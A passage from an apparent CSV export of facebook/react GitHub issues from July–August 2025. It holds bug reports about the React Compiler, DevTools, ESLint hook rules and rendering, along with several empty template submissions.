  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior

[bugreport-A56-T00624-2025-08-03-20-20-00.zip](https://github.com/user-attachments/files/21724945/bugreport-A56-T00624-2025-08-03-20-20-00.zip)

[bugreport-A56-T00624-2025-08-03-20-20-00-dumpstate_log-2283.txt](https://github.com/user-attachments/files/21724947/bugreport-A56-T00624-2025-08-03-20-20-00-dumpstate_log-2283.txt)

[bugreport-wdt-2025-08-05-08-09-58.zip](https://github.com/user-attachments/files/21724950/bugreport-wdt-2025-08-05-08-09-58.zip)

[bugreport-A56-T00624-2025-08-06-19-10-36.zip](https://github.com/user-attachments/files/21724953/bu... [TRUNCATED]",Status: Unconfirmed,2025-08-12T00:53:04Z,2025-08-12T00:54:34Z,1
facebook/react,3312082716,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-12T00:50:20Z,2025-08-12T01:05:56Z,0
facebook/react,3312082535,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-12T00:50:13Z,2025-08-12T01:06:05Z,0
facebook/react,3311192576,[Compiler Bug]: Memoization: Compilation skipped because existing memoization could not be preserved,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAUQA8AHBLASwDcEBhCAW2MzLwF5d6F6IAKAMygY42cpgIkyYKrQZMMLHsFwATAIbZVAGlyYaAG3JwA1rgC+ASlzAAOhly50WPMRgREYMAmUARdatzsUJ4Asly8PJasAHxWtvb2MAjYsHYIEhTUAAqu7lIYAOY8ahrmANxxZtoA2sWqALplthWOOLgAFqoYynq0BsYBuEG0qnp6AEaqxjw85NhckTE2dvG6fUYzc-QAdOTKjcum1auGRg3lGBWJyTB2PBX2ADzKVFH38cAubggeXr4aW-RVMQNlwAjE7st4vEnlRcEYEABPVjAWZcHbKUw6DD6E7IiJg9qdbq9E4g+jmTEAelekPi5gpbwelOelBp9n2FnOtgEQhEYjSpAyCGyXw85AKRT8liWCSSKRUfnOphApiAA

### Repro steps

1. Copy the component from the https://react.dev/learn/react-compiler/introduction#before-react-compiler section in the playground
2. Notice `useMemo` shows a compilation error
```
Memoization: Compilation skipped because existing memoization could not be preserved

React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
```


### How often does this bug happen?

Every time

### What version of React are you using?

latest (I believe)

### What version of Reac... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-08-11T18:36:40Z,2026-03-20T18:44:41Z,15
facebook/react,3307613965,Bug: Failed to pipe response in nextjs,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.0

## Steps To Reproduce

1. trying to visit a certain dynamic route in nextjs
2. i get errors when i try to visit the page route

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/MikeyA-yo/scoreboardmanager/blob/main/app/event/%5Bname%5D/page.tsx

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior
Fails to serve  page

 ⨯ [Error: failed to pipe response] {
  page: '/event/teensevent',
  [cause]: [Error: Expected a suspended thenable. This is a bug in React. Please file an issue.] {
    digest: '3975119377'
  }

## The expected behavior
Page should be served",Status: Unconfirmed,2025-08-10T14:14:41Z,2025-08-10T14:22:59Z,0
facebook/react,3305030630,"[DevTools Bug] Cannot remove node ""10"" because no matching node was found in the Store.","### Website or app

https://github.com/leeshiela/calendar-component-options

### Repro steps

Using the Profiler on my localhost:3000 produced an error while on a specific branch. Steps to reproduce the bug:

1. `git clone` the above url and `npm install`
2. `git checkout` to the `react-aria-datepicker` branch
3.  `npm run dev`
4. Open DevTools and switch to Profiler with React DevTools Extension
5. Hit the rerun button to refresh and rerun Profiler.
6. Error should occur

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot remove node ""10"" because no matching node was found in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1238165
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot remove node  because no matching node was found in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-08T19:35:58Z,2025-10-12T13:03:04Z,2
facebook/react,3304537572,[DevTools Bug]: The link that points to the master branch should point to the main branch instead,"### Website or app

https://chromewebstore.google.com/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en

### Repro steps

> This extension requires permissions to access the page's React tree, but it does not transmit any data remotely. It is fully open source, and you can find its source code at **https://github.com/facebook/react/tree/master/packages/react-devtools-extensions**.

The link to the source code points to the master branch but it should be the main branch because the master branch doesn't exist anymore. Not that it matters much since you get redirected to the main branch anyways but I thought it would be nice to point it out.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-08T16:08:15Z,2025-10-08T13:14:26Z,1
facebook/react,3304002402,[Compiler Bug]: (BuildHIR::lowerStatement) Handle TryStatement with a finalizer ('finally') clause,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAogB4CGAtgA4A2CAFAJRHAA6xRG2+hROBGBws2nIhIEwAnmMzjJAXyJwKOOAAs5CicrR5MFOnVkd5XXQsUKFMBDljFGOogB4AJngBuRQgGE6PDgAawBeYEFhRQA+FwkACQRjCCIAdwgYOnciF1cAek8vWK5mAG5ORRBFIA

### Repro steps

React compiler breaks when using `finally` clause. I am not sure whether it is a bug or it's meant to be like this. When I was skimming trough code of the compiler I came across this code in `BuildHIR.ts`.

https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts#L1284-L1291
<img width=""843"" height=""163"" alt=""Image"" src=""https://github.com/user-attachments/assets/9fdb1b9d-8b39-4114-89c2-863211b70fe4"" />

My question is whether this is just not implemented or whether it meant to be like this. If this implementation is correct, maybe you could suggest an eslint rule I can use to prevent having `finally` clause. Is it me who does something wrong?

### How often does this bug happen?

Every time

### What version of React are you using?

19

### What version of React Comp... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2025-08-08T13:08:43Z,2025-08-08T21:47:31Z,8
facebook/react,3300744178,"[DevTools Bug] Cannot add node ""1"" because a node with that id is already in the Store.","### Website or app

localhost

### Repro steps

messages

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot add node ""1"" because a node with that id is already in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1236392
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot add node  because a node with that id is already in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-07T14:26:11Z,2025-10-12T13:02:46Z,8
facebook/react,3291829585,"Bug: ""Internal React error: Expected static flag was missing.""","# ""Internal React error: Expected static flag was missing. Please notify the React team.""

This error message appeared after I created the component in the following code example. I pinpointed the issue down to the recursive nature of the component, which seems to confuse react in a way that it does not handle the early return *before* the calls to react hooks (which I placed there by accident) correctly.

```tsx
""use client"";

import { useEffect, useState } from ""react"";

/* dummy type */
type ProductGroup = { id: string, name: string };

type SubGroupProps = {
    depth: number,
    label: string,
    root: ProductGroup[],
    action: (id: string) => Promise<ProductGroup[]>,
}

/* create recursive subgroups to select from */
function SubGroupFilter({ depth, label, root, action }: Readonly<SubGroupProps>) {

    /* ------- BUG FROM HERE ------- */

    /* early return */
    if (!root.length)
        return;

    /* does not get catched!! */

    const [index, setIndex] = useState<number>(0);
    const [items, setItems] = useState<ProductGroup[]>([]);

    useEffect(() => {
        action(root[index].id).then(setItems);
    }, [root, action, index, setItems]);

    /* ---------- TO HERE ---------- */

    return (
        <>
            <fieldset>
                <legend>{label}</legend>
                <select name=""product-group"" onChange={event => setIndex(event.currentTarget.selectedIndex)}>
                    {root.map(item => (
                        <option key={ite... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-05T06:53:15Z,2025-11-10T08:08:02Z,2
facebook/react,3291775523,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-05T06:32:03Z,2025-08-05T07:01:36Z,2
facebook/react,3291775367,Bug: Troy Wilson Landry,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-05T06:32:00Z,2025-08-05T07:00:54Z,0
facebook/react,3291311970,[Compiler Bug]: Compiler introduces unnecessary breaks that skips its own memoization,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApg+XJ0wJ8AXwCU+YAB02+OKzAEAtgjUQmALwSF8AXnxQwCdpoj9+MwwD5ZC-M6UqCANzKUo44xjF0YEzuCDYA3E4uTCT4-CJiRobGcuAAFji4APq4CDBqKTLyii74MAi4sGye3ggRxZL4CJRmjvXO1T4AdGpQuGQ54ZElZRUwVV4+dSUSkRIANPgA2vEIALpSU6XllfgAPITBdgASTZQQ+ADqOJQGwBpauvoSuwD0B+52dTN0IBJAA

(Update: made the repro shorter and more generic)

### Repro steps

1. See the playground link.
2. Look at the two `break`s the compiler introduced in the output. The memoization is skipped by the two `break`s, making the result of `useMemo` always new in each render.

### How often does this bug happen?

Every time

### What version of React are you using?

Both 18.3.1 and the version used by Playground

### What version of React Compiler are you using?

Both 19.1.0-rc.2 and the version used by Playground","Type: Bug,Component: React Compiler",2025-08-05T02:20:05Z,2025-09-04T00:44:43Z,2
facebook/react,3288278355,Bug: `Transition was aborted because of invalid state` when browser tab not active,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.1.1

## Steps To Reproduce

1. Call `document.startViewTransition` when the browser tab is not active/visible
2. Go back/select the browser tab - a `ViewTransition` error was thrown

<img width=""976"" height=""227"" alt=""Image"" src=""https://github.com/user-attachments/assets/dcc6ab52-7727-49e9-bbd5-9947e8038708"" />

<img width=""566"" height=""280"" alt=""Image"" src=""https://github.com/user-attachments/assets/234c4923-acd6-49c6-9748-bd7e006ed132"" />

<img width=""622"" height=""631"" alt=""Image"" src=""https://github.com/user-attachments/assets/8da67501-61d8-43a7-834a-05ee3fa6936f"" />

I can provide a repro if necessary, but I think this is fairly straightforward.

- According to the ViewTransition spec, this error is thrown when the document is not visible, as observed above ([source](https://drafts.csswg.org/css-view-transitions/#dom-viewtransition-ready:~:text=If%20document%E2%80%99s%20visibility%20state%20is%20%22hidden%22%2C%20then%20skip%20transition%20with%20an%20%22InvalidStateError%22%20DOMException%2C%20and%20return%20transition.))

`react-dom` does not ignore all `InvalidStateError`s, and surfaces the error here:
- https://github.com/facebook/react/blob/c499adf8c89bbfd884f4d3a58c4e510001383525/packages/react-dom-bindings/src/client... [TRUNCATED]",Status: Unconfirmed,2025-08-04T06:59:51Z,2025-09-10T13:07:12Z,5
facebook/react,3287679602,There's a lot of content on this but I'm confused 😵‍💫. The eslint rule `react-hooks/exhaustive-deps` throws a warning when we put nested properties from hook-returned objects into the dependency array.,"There's a lot of content on this but I'm confused 😵‍💫. The eslint rule `react-hooks/exhaustive-deps` throws a warning when we put nested properties from hook-returned objects into the dependency array.

Here's the problem:
```
// ✅ Allowed
const obj1 = {a: ""abc""};
useMemo(() => obj1.a, [obj1.a]);

// ✅ Allowed  
const obj2 = useMemo(() => ({a: ""abc""}), []);
useMemo(() => obj2.a, [obj2.a]);

// ❌ Not allowed
const obj3 = useDisclosure();
useMemo(() => obj3.onOpen, [obj3.onOpen]); // missing dependencies: 'obj3'
```
One of the issues where this is described is #24300 . @gaearon wrote that the reason this is forbidden has to do with `useDisclosure`'s return value needing to be immutable.

However, this does not make sense. In the example above: `obj1` is just as mutable as `obj3`. And overall, I fail to see why the mutability of the enclosing object matters in the first place. In my head, it is the reference to the function `onOpen` that matters. The fact that I'm allowed to de-structure the value further illustrates this:

```
// ✅ Allowed
const { onOpen } = useDisclosure();
useMemo(() => onOpen, [onOpen]);
```

I'm struggling to understand this and can't find any clear reason why we can't have a nested property from a hook-returned object as a dependency.

_Originally posted by @florianmartens in https://github.com/facebook/react/discussions/34086_",,2025-08-04T00:30:35Z,2025-08-05T01:07:54Z,5
facebook/react,3287245243,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-03T14:49:08Z,2025-08-03T16:45:11Z,0
facebook/react,3284421486,"Bug: renderToStaticMarkup fails with client-side code, suggesting a server-only context limitation","Description of the bug
When using renderToStaticMarkup to render a React component that contains client-side code (e.g., hooks like useState, event handlers like onClick, or browser-specific APIs), the function throws a runtime error. This behavior occurs even when the component is not actively being used in a browser environment.

To Reproduce
Steps to reproduce the behavior:

Create a simple React functional component that uses useState or useEffect without a dependency on a server-side framework.

Attempt to render this component using ReactDOMServer.renderToStaticMarkup().

The render process will fail with an error similar to ""Hooks can only be called inside the body of a function component.""

Expected behavior
The renderToStaticMarkup function should either:
a) Gracefully handle client-side code, perhaps by ignoring it or returning an empty string where it would be rendered, or
b) Provide a more explicit and descriptive error message that clearly states it cannot process client-side components.

Actual behavior
The function crashes with an error that is not immediately clear to the developer, suggesting a fundamental conflict between the static rendering process and the component's reliance on client-side state/effects.

Environment

React Version: [e.g., 18.2.0]

Node.js Version: [e.g., 18.12.1]

Browser: Not applicable, as the error occurs during server-side rendering.

Additional context
This limitation makes it difficult to use renderToStaticMarkup for tasks like ge... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-01T16:07:15Z,2025-11-07T08:07:42Z,3
facebook/react,3283331845,[Compiler Bug]: False positive memoization for spead/rest props,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHZwhsAXAAgGUB3ASwFsAbAQwwSIGsEqE8cCBeAgCmEwIF8AT1YAaAQQB0MsM1bsMABRgQADmEwBfAJRcAfAX4ZBAcihgEBCggoRTAbgGSYbWCZ6TBAHgBqZBBICPAR8AEkAEU40cHJqOgZ5NhwYoTxRBE5gEVYtfS9BAm8mFmSTYBkpOVLFFXUwLQIAenyTQu8m-0DWwR0nDC1+kC0gA

### Repro steps

1. Spread an object from props 
2. Check compiler memoization result

As you see from react compiler output 
the check for `skeletonProps`  object was added and it is always `false` (since `{} !== {}`)

<img width=""1200"" height=""717"" alt=""Image"" src=""https://github.com/user-attachments/assets/6eb170a6-aacf-4a24-b535-70046caeecd1"" />

### How often does this bug happen?

Every time

### What version of React are you using?

19.0.0

### What version of React Compiler are you using?

19.1.0-rc.2",Component: React Compiler,2025-08-01T10:06:06Z,2025-08-01T18:24:36Z,1
facebook/react,3282897369,"Bug: ESLint react-hooks/rules-of-hooks: false positive `XXX` is a function created with React Hook ""useEffectEvent"", and can only be called from the same component","

`eslint-plugin-react-hooks` version: `0.0.0-experimental-c260b38d-20250731`

## Steps To Reproduce

```jsx
export const MyComponent = () => {
    const onView = useEffectEvent(() => {
        // On view
    });

    React.useEffect(() => {
        onView(); // ❌ Error: `onView` is a function created with React Hook ""useEffectEvent"", and can only be called from the same component
    }, []);

    return <div />;
};
```

This is a bit weird to get this reported as this seems to be correct: it's used in the same `useEffect`, not exported.

Also the same code works with the version `0.0.0-experimental-12bc60f5-20250613`

## The current behavior

This error is thrown

## The expected behavior

This code should pass as per the react-hooks rules regarding `useEffectEvent`","Status: Unconfirmed,Resolution: Stale",2025-08-01T07:30:33Z,2025-10-30T12:04:47Z,4
facebook/react,3280922015,Bug: React 18 vs 19 callback refs,"I'm not entirely sure if this is a bug with React or expected behavior in React 18 vs 19. However, this is something I noticed while I was implementing a custom hook for an IntersectionObserver, and my useEffect was called twice, but my callback ref wasn't in StrictMode. I have created minimal code examples in codesandbox that reproduce the issue I'm seeing. I have viewed the following React documentation pages:
- https://react.dev/reference/react/StrictMode#fixing-bugs-found-by-re-running-ref-callbacks-in-development
- https://18.react.dev/reference/react/StrictMode#fixing-bugs-found-by-re-running-effects-in-development
- https://18.react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback

_Note, there is no mention of callback refs and how they behave in strict mode in React 18's docs that I could find, but perhaps I missed it._

React version: 18.3.1 and 19.1.1

## Steps To Reproduce

1. Reload the page
2. View the console and see the difference in what's logged in 18 vs 19

Link to code examples:
- [React 18 Example](https://codesandbox.io/p/sandbox/react18-strict-mode-test-lmppz5)
- [React 19 Example](https://codesandbox.io/p/sandbox/react19-strict-mode-test-4cdw34)

_Note: I used the default TypeScript sandboxes from codesandbox_

## The current behavior
The callback ref used in React 18 is not called three times in StrictMode.

## The expected behavior
It should display the same output as React 19, where the node is a `HTMLDivEle... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-31T15:39:09Z,2025-12-08T18:08:37Z,8
facebook/react,3278937294,Bug:  eager state miss,"```js

import React, { useState } from 'react';

export function App(props) {
  console.log('App');
  return <Child0 />;
}

function Child0(props) {
  let [state, setState] = useState(0);
  console.log('child0', state);
  return (
    <div onClick={() => setState(1)}>
      child0
      <Child1 />
    </div>
  );
}

function Child1(props) {
  console.log('child1');
  console.log('=======');
  return <div>child1</div>;
}
```

console:
```
App 
child0 0
child1 
=======  (first click)
child0 1
child1 
======= (second click) 
child0 1

(rest click: noop, eager state)
```
Strange, why is child0 1 printed one more time here?

Isn't there eager state? If the state hasn't changed, it shouldn't re-render, right?

I didn't use StrictMode

I debug react: 
```js
 function dispatchSetStateInternal(fiber, queue, action, lane) {
      var update = {
        lane: lane,
        revertLane: 0,
        action: action,
        hasEagerState: !1,
        eagerState: null,
        next: null
      };
      if (isRenderPhaseUpdate(fiber)) enqueueRenderPhaseUpdate(queue, update);
      else {
        var alternate = fiber.alternate;
        if (
          0 === fiber.lanes &&
          (null === alternate || 0 === alternate.lanes) &&
          ((alternate = queue.lastRenderedReducer), null !== alternate)
        ) {
          var prevDispatcher = ReactSharedInternals.H;
          ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;
          try {
            var currentState = queue... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-07-31T02:35:50Z,2025-11-05T03:24:37Z,2
facebook/react,3278547539,Adding `sideEffects: false` to package.json,"Would it make sense to add `sideEffects: false` to `package.json` in the `react`,`react-dom`, `use-sync-external-store`, `scheduler`, etc. packages? It was already added to the `react-is` package: https://github.com/facebook/react/pull/27701

Adding `sideEffects: false` can enable more tree-shaking, in some cases: [documentation](https://github.com/webpack/webpack/blob/main/examples/side-effects/README.md).","Status: Unconfirmed,Resolution: Stale",2025-07-30T22:02:15Z,2026-02-04T05:22:50Z,5
facebook/react,3277573376,[Compiler Bug]:,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

zez

### Repro steps

""d

### How often does this bug happen?

Every time

### What version of React are you using?

19.1

### What version of React Compiler are you using?

19.1","Type: Bug,Status: Unconfirmed",2025-07-30T15:39:08Z,2025-07-30T16:45:44Z,0
facebook/react,3276635687,Using `use()` as name for custom hooks,"### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro
[https://playground.react.dev](https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZx4A0BwBcMZeCAwhAHZMAeVBUYL7Ljz4IAynlJMCAXwIAzGBAwEA5A3J4VAbgA6bPXHZhCAWQgATUgBtWHBNwIBeOuqa2hBADw09BAmjAAeSwENmQCACMICCsyNl02PwgQsIIACgBKJwA+AgA3CDRzBL84Kwh+cMyc-MLivVkAH142cwQ5NDYEcwJctKhW9s7ujISDI0IRM0srJ3Ssx1zgXzoJ1bsHZxF3ezw06esd7lGVtDl0gEJDDbws5cS-AjwAC0UAdwIuj4BRGEUYNIqKYWawEDB8QgRBC8fg9N5oF6dAgHKwABUUeSKCBgKhOD2kKwYeFgiWuQgS0jGbGuxmRILRGKxMDmaVocGeaCs5gYiWkCyWKxphAA2gFgqFqPw8ABJIIpAC6cxE4kkCDScms-DxgqMMQQADpygBzQHoiCYtrMnmWggAWn8ctCyBU1DFKW1DyF+WsUGhznujwd4rYlBWSRSVX5PgegZpesNEBNKmSoWqcGssXMuJKgYIUtlwbSeBgvrxgekoZjdHKlXmNQDubjsQTSbKFTVWXTVkz2bDj3zjrY6s1CDLjwrK0pekJCGJMESaT7nhRRzw+rNFux3qsvscwDyPoQ0myfb8wHZnO5oQJVc8AHoV4JduvGZaTw88VP9NS1iiACJoNYiYslGDZemyNYIK6g4yHMKL6iImQ5k2BrGoCAFAUaBDWlu9puk6LpBu6VJ+ESJJEaEBAAPzpEu5hoHkeZ4AAnrEe60FEMCWuEKgAIxYJweYxEU2HdIRWCkOY9FsEaPEAEwAAwCSoMjHqeXjPHJ2Qog6BApmwFz3pp765l4ERQHgeDsHpbDMFYaBwAA1nubb8Medntve5mWewJmPPe9F5H5WRVHRDHafSumud0AXhSsn5Uned4EAAKgAEt8BCokQgQAEIADLfCYACCKXSswBAAHLFSY3yiKixXMJl3wABqooERApXo9g4Pg6y0jp-orBuTLhCi... [TRUNCATED]",Type: Question,2025-07-30T11:19:06Z,2025-08-05T07:04:04Z,2
facebook/react,3275816488,Bug: Java object is gone Instagram/ Facebook Webview,"In Instagram/Facebook in-app browser (WebView), our React web app crashes with error:
""Uncaught Error: Java object is gone""

This happens when user loads the page after some seconds the error happen. The error does not occur in Chrome/Safari.

We traced the crash to `navigationPerformanceLoggerJavascriptInterface.postMessage`

Tested on latest versions of Facebook & Instagram on Android.

Expected: App should not crash on call.
Actual: WebView terminates interaction or throws fatal error.","Status: Unconfirmed,Resolution: Stale",2025-07-30T06:21:55Z,2026-02-15T03:53:44Z,14
facebook/react,3274993898,"Question about ""calling an impure function can produce unstable results..."" lint","### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAsghhAQL4EBmMEGBA5DAgIZx5sDcAHQB2IhAA8c+AgBMEDLlAA2hBlGG80EYQXIBPAIJYsACgCUREQQJxtYQva74AKpgQEAvCTKVqJ854AfARYCDAMuBhcGggAdMIQAO7mZkLCtCIgtEA

### Repro steps

Run eslint-plugin-react-hooks with the react-compiler rule enabled
```ts
export default function MyApp() {
  const startTime = useMemo(() => performance.now());
}
```

The error says
> Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render

I’m not sure what the right way to record this type of state is now, because react-compiler also rejects anything of the form
```ts
  const [startTime, setStartTime] = useState(null);
  useEffect(() => { setStartTime(performance.now()); }, []);
```
for “calling setState synchronously within an effect body.”

### How often does this bug happen?

Every time

### What version of React are you using?

react@19.1.1

### What version of React Compiler are you using?

eslint-plugin-react-hooks@0.0.0-experimental-97cdd5d3-20250710","Component: React Compiler,Resolution: Stale",2025-07-29T21:07:25Z,2026-02-09T23:14:52Z,12
